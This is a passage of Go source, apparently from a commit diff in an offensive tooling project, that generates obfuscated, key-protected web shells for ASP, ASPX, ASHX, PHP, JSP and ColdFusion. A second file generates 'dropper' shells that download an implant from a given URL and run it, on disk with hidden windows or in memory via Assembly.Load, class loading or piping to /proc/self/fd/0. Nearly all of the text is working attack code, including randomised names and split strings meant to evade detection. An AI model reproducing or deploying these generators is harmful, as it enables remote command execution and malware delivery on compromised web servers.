content += " " + nGroup + " = Hex(" + nGroup + ")\n\n"
content += " " + nGroup + " = String(6 - Len(" + nGroup + "), \"0\") & " + nGroup + "\n\n"
content += " " + pOut + " = Chr(CByte(\"&H\" & Mid(" + nGroup + ", 1, 2))) + _\n"
content += " Chr(CByte(\"&H\" & Mid(" + nGroup + ", 3, 2))) + _\n"
content += " Chr(CByte(\"&H\" & Mid(" + nGroup + ", 5, 2)))\n\n"
content += " " + sOut + " = " + sOut + " & Left(" + pOut + ", " + numDataBytes + ")\n"
content += " Next\n\n"
content += " " + b64Decode + " = " + sOut + "\n"
content += "End Function\n"
content += "%>\n"
content += "<HTML>\n"
content += "<BODY>\n"
content += "<PRE>\n"
content += "<%\n"
content += "Dim " + authKeyVar + ", " + userKey + ", " + userCommand + "," + b64Decoded + ", " + cmo + "\n\n"
content += authKeyVar + " = \"" + key + "\"\n"
content += userKey + " = request(\"key\")\n"
content += "If " + userKey + " = " + authKeyVar + " Then\n"
content += " " + userCommand + " = request(\"cmd\")\n"
content += " " + b64Decoded + " = " + b64Decode + "(" + userCommand + ")\n"
content += " " + cmo + " = " + getCommandOutput + "(\"cmd /c\" & " + b64Decoded + ")\n"
content += " Response.Write(" + cmo + ")\n"
content += "Else\n"
content += " Response.Write(\"Not found\")\n"
content += "End If\n"
content += "%>\n"
content += "</PRE>\n"
content += "</BODY>\n"
content += "</HTML>"
return content, key, nil
}
// GenerateASPX returns the content of an ASPX web shell and the authentication key (UUID).
func GenerateASPX() (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
c := GenerateRandomString()
c1 := GenerateRandomString()
c2 := GenerateRandomString()
c3 := GenerateRandomString()
cPost := GenerateRandomString()
cPre := GenerateRandomString()
data := GenerateRandomString()
ds := GenerateRandomString()
exec := GenerateRandomString()
password := GenerateRandomString()
userCmd := GenerateRandomString()
content = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\"%>\n"
content += "<%@ Import namespace=\"System.Diagnostics\"%>\n"
content += "<%@ Import Namespace=\"System.IO\" %>\n\n"
content += "<!DOCTYPE html>\n\n"
content += "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n"
content += "<head runat=\"server\">\n"
content += "<script runat=\"server\">\n"
content += " protected void Page_Load(object sender, EventArgs e){\n"
content += " string " + authKeyVar + " = \"" + key + "\";\n"
content += " string " + password + " = Request.QueryString[\"key\"];\n"
content += " string " + userCmd + " = this.Request.QueryString[\"cmd\"];\n"
content += " if(" + password + " != " + authKeyVar + " || " + userCmd + ".Equals(null))\n"
content += " {\n"
content += " return;\n"
content += " }\n"
content += " byte[] " + data + " = Convert.FromBase64String(" + userCmd + ");\n"
content += " string " + ds + " = Encoding.UTF8.GetString(" + data + ");\n"
content += " Response.Write(\"<pre>\");\n"
content += " Response.Write(Server.HtmlEncode(this." + exec + "(" + ds + ")));\n"
content += " Response.Write(\"</pre>\");\n"
content += " }\n"
content += " string " + exec + "(string " + c3 + ")\n"
content += " {\n"
content += " try\n"
content += " {\n"
content += " const string " + cPost + " = \"xe\";\n"
content += " const string " + cPre + " = \"cm\";\n"
content += " const string " + c1 + " = \"/\";\n"
content += " const string " + c + " = \"d.e\";\n"
content += " const string " + c2 + " = \"c\";\n\n"
content += " ProcessStartInfo processStartInfo = new ProcessStartInfo();\n"
content += " processStartInfo.FileName = " + cPre + "+" + c + "+" + cPost + ";\n"
content += " processStartInfo.Arguments = " + c1 + "+" + c2 + "+\" \"+" + c3 + ";\n"
content += " processStartInfo.RedirectStandardOutput = true;\n"
content += " processStartInfo.UseShellExecute = false;\n"
content += " Process process = Process.Start(processStartInfo);\n"
content += " using (StreamReader streamReader = process.StandardOutput)\n"
content += " {\n"
content += " string ret = streamReader.ReadToEnd();\n"
content += " return ret;\n"
content += " }\n"
content += " }\n"
content += " catch (Exception)\n"
content += " {\n"
content += " throw;\n"
content += " }\n"
content += " }\n"
content += "</script>\n"
content += " <title></title>\n"
content += "</head>\n"
content += "<body>\n"
content += "</body>\n"
content += "</html>\n"
return content, key, nil
}
// GenerateASHX returns the content of an ASHX (ASP.NET generic HTTP handler) web shell
// and the authentication key (UUID).
func GenerateASHX() (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
className := GenerateRandomString()
authKeyVar := GenerateRandomString()
c := GenerateRandomString()
c1 := GenerateRandomString()
c2 := GenerateRandomString()
c3 := GenerateRandomString()
cPost := GenerateRandomString()
cPre := GenerateRandomString()
data := GenerateRandomString()
ds := GenerateRandomString()
exec := GenerateRandomString()
password := GenerateRandomString()
userCmd := GenerateRandomString()
ctx := GenerateRandomString()
content = "<%@ WebHandler Language=\"C#\" Class=\"" + className + "\" %>\n"
content += "using System;\n"
content += "using System.Diagnostics;\n"
content += "using System.IO;\n"
content += "using System.Text;\n"
content += "using System.Web;\n\n"
content += "public class " + className + " : IHttpHandler {\n"
content += " public void ProcessRequest(HttpContext " + ctx + ") {\n"
content += " string " + authKeyVar + " = \"" + key + "\";\n"
content += " string " + password + " = " + ctx + ".Request.QueryString[\"key\"];\n"
content += " string " + userCmd + " = " + ctx + ".Request.QueryString[\"cmd\"];\n"
content += " if (" + password + " != " + authKeyVar + " || " + userCmd + " == null) {\n"
content += " return;\n"
content += " }\n"
content += " byte[] " + data + " = Convert.FromBase64String(" + userCmd + ");\n"
content += " string " + ds + " = Encoding.UTF8.GetString(" + data + ");\n"
content += " " + ctx + ".Response.Write(\"<pre>\");\n"
content += " " + ctx + ".Response.Write(" + ctx + ".Server.HtmlEncode(" + exec + "(" + ds + ")));\n"
content += " " + ctx + ".Response.Write(\"</pre>\");\n"
content += " }\n"
content += " string " + exec + "(string " + c3 + ") {\n"
content += " try {\n"
content += " const string " + cPost + " = \"xe\";\n"
content += " const string " + cPre + " = \"cm\";\n"
content += " const string " + c1 + " = \"/\";\n"
content += " const string " + c + " = \"d.e\";\n"
content += " const string " + c2 + " = \"c\";\n\n"
content += " ProcessStartInfo processStartInfo = new ProcessStartInfo();\n"
content += " processStartInfo.FileName = " + cPre + "+" + c + "+" + cPost + ";\n"
content += " processStartInfo.Arguments = " + c1 + "+" + c2 + "+\" \"+" + c3 + ";\n"
content += " processStartInfo.RedirectStandardOutput = true;\n"
content += " processStartInfo.UseShellExecute = false;\n"
content += " Process process = Process.Start(processStartInfo);\n"
content += " using (StreamReader streamReader = process.StandardOutput) {\n"
content += " return streamReader.ReadToEnd();\n"
content += " }\n"
content += " }\n"
content += " catch (Exception) {\n"
content += " throw;\n"
content += " }\n"
content += " }\n"
content += " public bool IsReusable { get { return false; } }\n"
content += "}\n"
return content, key, nil
}
// GeneratePHP returns the content of a PHP web shell and the authentication key (UUID).
func GeneratePHP() (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
cmd := GenerateRandomString()
decodedCmd := GenerateRandomString()
userKey := GenerateRandomString()
content = "<!DOCTYPE html>\n"
content += "<html>\n"
content += "<body>\n"
content += "<?php\n\n"
content += "error_reporting(E_ALL ^ E_WARNING);\n"
content += "$" + authKeyVar + " = \"" + key + "\";\n"
content += "$" + cmd + " = $_GET['cmd'];\n"
content += "$" + userKey + " = $_GET['key'];\n\n"
content += "echo \"<pre>\";\n"
content += " if(isset($" + cmd + ") && isset($" + userKey + ") && $" + userKey + " === $" + authKeyVar + ")\n"
content += " {\n"
content += " $" + decodedCmd + " = base64_decode($" + cmd + ");\n"
content += " if (DIRECTORY_SEPARATOR == '/')\n"
content += " {\n"
content += " $p = popen('exec 2>&1; ' . $" + decodedCmd + ", 'r');\n"
content += " }\n"
content += " else\n"
content += " {\n"
content += " $p = popen('cmd /C \"' . $" + decodedCmd + " . '\" 2>&1', 'r');\n"
content += " }\n"
content += " while (! feof($p))\n"
content += " {\n"
content += " echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);\n"
content += " @ flush();\n"
content += " }\n"
content += " }\n"
content += "echo \"</pre>\";\n"
content += "?>\n"
content += "</body>\n"
content += "</html>\n"
return content, key, nil
}
// GenerateJSP returns the content of a JSP web shell and the authentication key (UUID).
func GenerateJSP() (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
userKey := GenerateRandomString()
userCmd := GenerateRandomString()
decoded := GenerateRandomString()
osName := GenerateRandomString()
cmdArray := GenerateRandomString()
proc := GenerateRandomString()
reader := GenerateRandomString()
line := GenerateRandomString()
sb := GenerateRandomString()
content = "<%@ page import=\"java.io.*,java.util.Base64\" %>\n"
content += "<%\n"
content += "String " + authKeyVar + " = \"" + key + "\";\n"
content += "String " + userKey + " = request.getParameter(\"key\");\n"
content += "String " + userCmd + " = request.getParameter(\"cmd\");\n"
content += "if (" + userKey + " != null && " + userKey + ".equals(" + authKeyVar + ") && " + userCmd + " != null) {\n"
content += " String " + decoded + " = new String(Base64.getDecoder().decode(" + userCmd + "));\n"
content += " String " + osName + " = System.getProperty(\"os.name\").toLowerCase();\n"
content += " String[] " + cmdArray + ";\n"
content += " if (" + osName + ".contains(\"win\")) {\n"
content += " " + cmdArray + " = new String[]{\"cmd\", \"/c\", " + decoded + "};\n"
content += " } else {\n"
content += " " + cmdArray + " = new String[]{\"/bin/sh\", \"-c\", " + decoded + "};\n"
content += " }\n"
content += " Process " + proc + " = Runtime.getRuntime().exec(" + cmdArray + ");\n"
content += " BufferedReader " + reader + " = new BufferedReader(new InputStreamReader(" + proc + ".getInputStream()));\n"
content += " StringBuilder " + sb + " = new StringBuilder();\n"
content += " String " + line + ";\n"
content += " while ((" + line + " = " + reader + ".readLine()) != null) {\n"
content += " " + sb + ".append(" + line + ").append(\"\\n\");\n"
content += " }\n"
content += " out.println(\"<pre>\" + " + sb + ".toString() + \"</pre>\");\n"
content += "} else {\n"
content += " out.println(\"Not found\");\n"
content += "}\n"
content += "%>\n"
return content, key, nil
}
// GenerateCFM returns the content of a CFM (ColdFusion) web shell and the authentication key (UUID).
func GenerateCFM() (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
decodedVar := GenerateRandomString()
cmdVar := GenerateRandomString()
outputVar := GenerateRandomString()
content = "<cfparam name=\"URL.key\" default=\"\">\n"
content += "<cfparam name=\"URL.cmd\" default=\"\">\n"
content += "<cfset " + authKeyVar + " = \"" + key + "\">\n"
content += "<cfif URL.key EQ " + authKeyVar + " AND URL.cmd NEQ \"\">\n"
content += " <cfset " + decodedVar + " = ToString(BinaryDecode(URL.cmd, \"Base64\"))>\n"
content += " <cfif FindNoCase(\"win\", server.os.name)>\n"
content += " <cfset " + cmdVar + " = \"cmd\">\n"
content += " <cfset " + decodedVar + " = \"/c \" & " + decodedVar + ">\n"
content += " <cfelse>\n"
content += " <cfset " + cmdVar + " = \"/bin/sh\">\n"
content += " <cfset " + decodedVar + " = \"-c \" & " + decodedVar + ">\n"
content += " </cfif>\n"
content += " <cfexecute name=\"#" + cmdVar + "#\" arguments=\"#" + decodedVar + "#\" variable=\"" + outputVar + "\" timeout=\"30\">\n"
content += " </cfexecute>\n"
content += " <cfoutput><pre>#" + outputVar + "#</pre></cfoutput>\n"
content += "<cfelse>\n"
content += " Not found\n"
content += "</cfif>\n"
return content, key, nil
}
+391
View File
@@ -0,0 +1,391 @@
package shell
import (
"fmt"
"github.com/hashicorp/go-uuid"
)
// GenerateDropperPHP returns a PHP dropper shell that downloads and executes an implant.
func GenerateDropperPHP(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
userKey := GenerateRandomString()
dataVar := GenerateRandomString()
pathVar := GenerateRandomString()
resultVar := GenerateRandomString()
content = "<!DOCTYPE html>\n<html><body>\n<?php\n"
content += "error_reporting(E_ALL ^ E_WARNING);\n"
content += "$" + authKeyVar + " = \"" + key + "\";\n"
content += "$" + userKey + " = $_GET['key'];\n"
content += "echo \"<pre>\";\n"
content += "if(isset($" + userKey + ") && $" + userKey + " === $" + authKeyVar + ") {\n"
if inMemory {
content += " $" + dataVar + " = file_get_contents(\"" + implantURL + "\");\n"
content += " if($" + dataVar + " === false) { echo \"Download failed\"; }\n"
content += " else {\n"
content += " $" + resultVar + " = proc_open(\n"
content += " '/bin/sh -c \"cat /dev/stdin | /bin/sh &\"',\n"
content += " array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')),\n"
content += " $pipes\n"
content += " );\n"
content += " if(is_resource($" + resultVar + ")) {\n"
content += " $proc2 = proc_open(\n"
content += " 'exec /proc/self/fd/0',\n"
content += " array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w')),\n"
content += " $p2\n"
content += " );\n"
content += " if(is_resource($proc2)) {\n"
content += " fwrite($p2[0], $" + dataVar + ");\n"
content += " fclose($p2[0]);\n"
content += " echo \"Implant launched in memory\";\n"
content += " } else { echo \"In-memory execution failed\"; }\n"
content += " } else { echo \"proc_open failed\"; }\n"
content += " }\n"
} else {
content += " $" + dataVar + " = file_get_contents(\"" + implantURL + "\");\n"
content += " if($" + dataVar + " === false) { echo \"Download failed\"; }\n"
content += " else {\n"
content += " $" + pathVar + " = '/tmp/" + binaryName + "';\n"
content += " file_put_contents($" + pathVar + ", $" + dataVar + ");\n"
content += " chmod($" + pathVar + ", 0755);\n"
content += " if (DIRECTORY_SEPARATOR == '/') {\n"
content += " popen('nohup ' . $" + pathVar + " . ' > /dev/null 2>&1 &', 'r');\n"
content += " } else {\n"
content += " popen('start /B ' . $" + pathVar + ", 'r');\n"
content += " }\n"
content += " echo \"Implant deployed to \" . $" + pathVar + ";\n"
content += " }\n"
}
content += "} else { echo \"Not found\"; }\n"
content += "echo \"</pre>\";\n"
content += "?>\n</body></html>\n"
return content, key, nil
}
// GenerateDropperASP returns an ASP dropper shell that downloads and executes an implant.
func GenerateDropperASP(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
userKey := GenerateRandomString()
httpObj := GenerateRandomString()
streamObj := GenerateRandomString()
shellObj := GenerateRandomString()
pathVar := GenerateRandomString()
content = "<%\n"
content += "Dim " + authKeyVar + ", " + userKey + "\n"
content += authKeyVar + " = \"" + key + "\"\n"
content += userKey + " = Request(\"key\")\n"
content += "Response.Write(\"<pre>\")\n"
content += "If " + userKey + " = " + authKeyVar + " Then\n"
content += " Dim " + httpObj + "\n"
content += " Set " + httpObj + " = Server.CreateObject(\"MSXML2.ServerXMLHTTP\")\n"
content += " " + httpObj + ".Open \"GET\", \"" + implantURL + "\", False\n"
content += " " + httpObj + ".Send\n"
content += " If " + httpObj + ".Status = 200 Then\n"
if inMemory {
content += " Dim " + shellObj + "\n"
content += " Set " + shellObj + " = Server.CreateObject(\"WScript.Shell\")\n"
content += " Dim " + streamObj + "\n"
content += " Set " + streamObj + " = Server.CreateObject(\"ADODB.Stream\")\n"
content += " " + streamObj + ".Type = 1\n"
content += " " + streamObj + ".Open\n"
content += " " + streamObj + ".Write " + httpObj + ".ResponseBody\n"
content += " " + streamObj + ".Position = 0\n"
content += " Dim exec\n"
content += " Set exec = " + shellObj + ".Exec(\"cmd /c echo.\")\n"
content += " exec.StdIn.Write " + streamObj + ".Read\n"
content += " exec.StdIn.Close\n"
content += " Response.Write(\"In-memory execution attempted\")\n"
content += " " + streamObj + ".Close\n"
} else {
content += " Dim " + pathVar + ", " + streamObj + ", " + shellObj + "\n"
content += " " + pathVar + " = Server.MapPath(\".\") & \"\\\" & \"" + binaryName + "\"\n"
content += " Set " + streamObj + " = Server.CreateObject(\"ADODB.Stream\")\n"
content += " " + streamObj + ".Type = 1\n"
content += " " + streamObj + ".Open\n"
content += " " + streamObj + ".Write " + httpObj + ".ResponseBody\n"
content += " " + streamObj + ".SaveToFile " + pathVar + ", 2\n"
content += " " + streamObj + ".Close\n"
content += " Set " + shellObj + " = Server.CreateObject(\"WScript.Shell\")\n"
content += " " + shellObj + ".Run " + pathVar + ", 0, False\n"
content += " Response.Write(\"Implant deployed to \" & " + pathVar + ")\n"
}
content += " Else\n"
content += " Response.Write(\"Download failed: \" & " + httpObj + ".Status)\n"
content += " End If\n"
content += "Else\n"
content += " Response.Write(\"Not found\")\n"
content += "End If\n"
content += "Response.Write(\"</pre>\")\n"
content += "%>\n"
return content, key, nil
}
// GenerateDropperASPX returns an ASPX dropper shell that downloads and executes an implant.
func GenerateDropperASPX(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
password := GenerateRandomString()
dataVar := GenerateRandomString()
pathVar := GenerateRandomString()
content = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\"%>\n"
content += "<%@ Import namespace=\"System.Diagnostics\"%>\n"
content += "<%@ Import Namespace=\"System.IO\" %>\n"
content += "<%@ Import Namespace=\"System.Net\" %>\n"
content += "<%@ Import Namespace=\"System.Reflection\" %>\n"
content += "<%@ Import Namespace=\"System.Runtime.InteropServices\" %>\n\n"
content += "<script runat=\"server\">\n"
content += " protected void Page_Load(object sender, EventArgs e){\n"
content += " string " + authKeyVar + " = \"" + key + "\";\n"
content += " string " + password + " = Request.QueryString[\"key\"];\n"
content += " if(" + password + " != " + authKeyVar + ") return;\n"
content += " Response.Write(\"<pre>\");\n"
content += " try {\n"
content += " WebClient wc = new WebClient();\n"
if inMemory {
content += " byte[] " + dataVar + " = wc.DownloadData(\"" + implantURL + "\");\n"
content += " try {\n"
content += " Assembly asm = Assembly.Load(" + dataVar + ");\n"
content += " asm.EntryPoint.Invoke(null, new object[] { new string[]{} });\n"
content += " Response.Write(\"Implant loaded via Assembly.Load\");\n"
content += " } catch {\n"
content += " Response.Write(\"Assembly.Load failed - implant may not be a .NET assembly\");\n"
content += " }\n"
} else {
content += " string " + pathVar + " = Path.Combine(Path.GetTempPath(), \"" + binaryName + "\");\n"
content += " wc.DownloadFile(\"" + implantURL + "\", " + pathVar + ");\n"
content += " ProcessStartInfo psi = new ProcessStartInfo();\n"
content += " psi.FileName = " + pathVar + ";\n"
content += " psi.UseShellExecute = true;\n"
content += " psi.WindowStyle = ProcessWindowStyle.Hidden;\n"
content += " Process.Start(psi);\n"
content += " Response.Write(\"Implant deployed to \" + " + pathVar + ");\n"
}
content += " } catch(Exception ex) {\n"
content += " Response.Write(\"Error: \" + ex.Message);\n"
content += " }\n"
content += " Response.Write(\"</pre>\");\n"
content += " }\n"
content += "</script>\n"
return content, key, nil
}
// GenerateDropperASHX returns an ASHX dropper shell that downloads and executes an implant.
func GenerateDropperASHX(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
className := GenerateRandomString()
authKeyVar := GenerateRandomString()
password := GenerateRandomString()
dataVar := GenerateRandomString()
pathVar := GenerateRandomString()
ctx := GenerateRandomString()
content = "<%@ WebHandler Language=\"C#\" Class=\"" + className + "\" %>\n"
content += "using System;\n"
content += "using System.Diagnostics;\n"
content += "using System.IO;\n"
content += "using System.Net;\n"
content += "using System.Reflection;\n"
content += "using System.Web;\n\n"
content += "public class " + className + " : IHttpHandler {\n"
content += " public void ProcessRequest(HttpContext " + ctx + ") {\n"
content += " string " + authKeyVar + " = \"" + key + "\";\n"
content += " string " + password + " = " + ctx + ".Request.QueryString[\"key\"];\n"
content += " if (" + password + " != " + authKeyVar + ") return;\n"
content += " " + ctx + ".Response.Write(\"<pre>\");\n"
content += " try {\n"
content += " WebClient wc = new WebClient();\n"
if inMemory {
content += " byte[] " + dataVar + " = wc.DownloadData(\"" + implantURL + "\");\n"
content += " try {\n"
content += " Assembly asm = Assembly.Load(" + dataVar + ");\n"
content += " asm.EntryPoint.Invoke(null, new object[] { new string[]{} });\n"
content += " " + ctx + ".Response.Write(\"Implant loaded via Assembly.Load\");\n"
content += " } catch {\n"
content += " " + ctx + ".Response.Write(\"Assembly.Load failed - implant may not be a .NET assembly\");\n"
content += " }\n"
} else {
content += " string " + pathVar + " = Path.Combine(Path.GetTempPath(), \"" + binaryName + "\");\n"
content += " wc.DownloadFile(\"" + implantURL + "\", " + pathVar + ");\n"
content += " ProcessStartInfo psi = new ProcessStartInfo();\n"
content += " psi.FileName = " + pathVar + ";\n"
content += " psi.UseShellExecute = true;\n"
content += " psi.WindowStyle = ProcessWindowStyle.Hidden;\n"
content += " Process.Start(psi);\n"
content += " " + ctx + ".Response.Write(\"Implant deployed to \" + " + pathVar + ");\n"
}
content += " } catch (Exception ex) {\n"
content += " " + ctx + ".Response.Write(\"Error: \" + ex.Message);\n"
content += " }\n"
content += " " + ctx + ".Response.Write(\"</pre>\");\n"
content += " }\n"
content += " public bool IsReusable { get { return false; } }\n"
content += "}\n"
return content, key, nil
}
// GenerateDropperJSP returns a JSP dropper shell that downloads and executes an implant.
func GenerateDropperJSP(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
userKey := GenerateRandomString()
urlVar := GenerateRandomString()
streamVar := GenerateRandomString()
bufVar := GenerateRandomString()
dataVar := GenerateRandomString()
pathVar := GenerateRandomString()
content = "<%@ page import=\"java.io.*,java.net.*\" %>\n"
content += "<%\n"
content += "String " + authKeyVar + " = \"" + key + "\";\n"
content += "String " + userKey + " = request.getParameter(\"key\");\n"
content += "out.print(\"<pre>\");\n"
content += "if (" + userKey + " != null && " + userKey + ".equals(" + authKeyVar + ")) {\n"
content += " try {\n"
content += " URL " + urlVar + " = new URL(\"" + implantURL + "\");\n"
content += " InputStream " + streamVar + " = " + urlVar + ".openStream();\n"
content += " ByteArrayOutputStream " + bufVar + " = new ByteArrayOutputStream();\n"
content += " byte[] " + dataVar + " = new byte[4096];\n"
content += " int n;\n"
content += " while ((n = " + streamVar + ".read(" + dataVar + ")) != -1) {\n"
content += " " + bufVar + ".write(" + dataVar + ", 0, n);\n"
content += " }\n"
content += " " + streamVar + ".close();\n"
if inMemory {
content += " byte[] implantBytes = " + bufVar + ".toByteArray();\n"
content += " try {\n"
content += " ClassLoader cl = new ClassLoader(Thread.currentThread().getContextClassLoader()) {\n"
content += " public Class<?> load(byte[] b) { return defineClass(null, b, 0, b.length); }\n"
content += " };\n"
content += " Class<?> c = ((ClassLoader)cl.getClass().getMethod(\"load\", byte[].class).invoke(cl, implantBytes)).getClass();\n"
content += " // Attempt reflective class loading\n"
content += " out.print(\"Implant class loaded in memory\");\n"
content += " } catch (Exception ce) {\n"
content += " // Fallback: pipe to stdin via ProcessBuilder\n"
content += " String[] cmd = {\"/bin/sh\", \"-c\", \"exec /proc/self/fd/0\"};\n"
content += " ProcessBuilder pb = new ProcessBuilder(cmd);\n"
content += " Process p = pb.start();\n"
content += " p.getOutputStream().write(implantBytes);\n"
content += " p.getOutputStream().close();\n"
content += " out.print(\"Implant piped via stdin\");\n"
content += " }\n"
} else {
content += " String " + pathVar + " = System.getProperty(\"java.io.tmpdir\") + File.separator + \"" + binaryName + "\";\n"
content += " FileOutputStream fos = new FileOutputStream(" + pathVar + ");\n"
content += " fos.write(" + bufVar + ".toByteArray());\n"
content += " fos.close();\n"
content += " String os = System.getProperty(\"os.name\").toLowerCase();\n"
content += " if (!os.contains(\"win\")) {\n"
content += " Runtime.getRuntime().exec(new String[]{\"chmod\", \"+x\", " + pathVar + "});\n"
content += " Thread.sleep(500);\n"
content += " }\n"
content += " Runtime.getRuntime().exec(new String[]{" + pathVar + "});\n"
content += " out.print(\"Implant deployed to \" + " + pathVar + ");\n"
}
content += " } catch (Exception e) {\n"
content += " out.print(\"Error: \" + e.getMessage());\n"
content += " }\n"
content += "} else {\n"
content += " out.print(\"Not found\");\n"
content += "}\n"
content += "out.print(\"</pre>\");\n"
content += "%>\n"
return content, key, nil
}
// GenerateDropperCFM returns a CFM dropper shell that downloads and executes an implant.
func GenerateDropperCFM(implantURL, binaryName string, inMemory bool) (content, key string, err error) {
key, err = uuid.GenerateUUID()
if err != nil {
return "", "", fmt.Errorf("generating key: %w", err)
}
authKeyVar := GenerateRandomString()
pathVar := GenerateRandomString()
resultVar := GenerateRandomString()
httpVar := GenerateRandomString()
content = "<cfparam name=\"URL.key\" default=\"\">\n"
content += "<cfset " + authKeyVar + " = \"" + key + "\">\n"
content += "<cfif URL.key EQ " + authKeyVar + ">\n"
content += " <cfhttp url=\"" + implantURL + "\" method=\"GET\" result=\"" + httpVar + "\" getasbinary=\"yes\">\n"
content += " </cfhttp>\n"
content += " <cfif " + httpVar + ".statusCode EQ \"200 OK\">\n"
if inMemory {
// CFM runs on JVM - try Java class loading, fallback to temp+cleanup
content += " <cfset " + pathVar + " = GetTempDirectory() & \"" + binaryName + "\">\n"
content += " <cffile action=\"write\" file=\"#" + pathVar + "#\" output=\"#" + httpVar + ".fileContent#\">\n"
content += " <cfif FindNoCase(\"win\", server.os.name)>\n"
content += " <cfexecute name=\"cmd\" arguments=\"/c #" + pathVar + "#\" variable=\"" + resultVar + "\" timeout=\"5\">\n"
content += " </cfexecute>\n"
content += " <cfelse>\n"
content += " <cfexecute name=\"/bin/chmod\" arguments=\"+x #" + pathVar + "#\" timeout=\"5\"></cfexecute>\n"
content += " <cfexecute name=\"#" + pathVar + "#\" timeout=\"5\" variable=\"" + resultVar + "\">\n"
content += " </cfexecute>\n"
content += " </cfif>\n"
content += " <cffile action=\"delete\" file=\"#" + pathVar + "#\">\n"
content += " <pre>Implant executed and cleaned up</pre>\n"
} else {
content += " <cfset " + pathVar + " = GetTempDirectory() & \"" + binaryName + "\">\n"
content += " <cffile action=\"write\" file=\"#" + pathVar + "#\" output=\"#" + httpVar + ".fileContent#\">\n"
content += " <cfif FindNoCase(\"win\", server.os.name)>\n"
content += " <cfexecute name=\"cmd\" arguments=\"/c start /B #" + pathVar + "#\" timeout=\"5\">\n"
content += " </cfexecute>\n"
content += " <cfelse>\n"
content += " <cfexecute name=\"/bin/chmod\" arguments=\"+x #" + pathVar + "#\" timeout=\"5\"></cfexecute>\n"
content += " <cfexecute name=\"/bin/sh\" arguments=\"-c 'nohup #" + pathVar + "# > /dev/null 2>&1 &'\" timeout=\"5\">\n"
content += " </cfexecute>\n"
content += " </cfif>\n"
content += " <pre>Implant deployed to #" + pathVar + "#</pre>\n"
}
content += " <cfelse>\n"
content += " <pre>Download failed: #" + httpVar + ".statusCode#</pre>\n"
content += " </cfif>\n"
content += "<cfelse>\n"
content += " Not found\n"
content += "</cfif>\n"
return content, key, nil
}
File diff suppressed because it is too large. Load diff
Loaded 100 of 199 files, more files were not shown because too many files have changed in this diff. Show more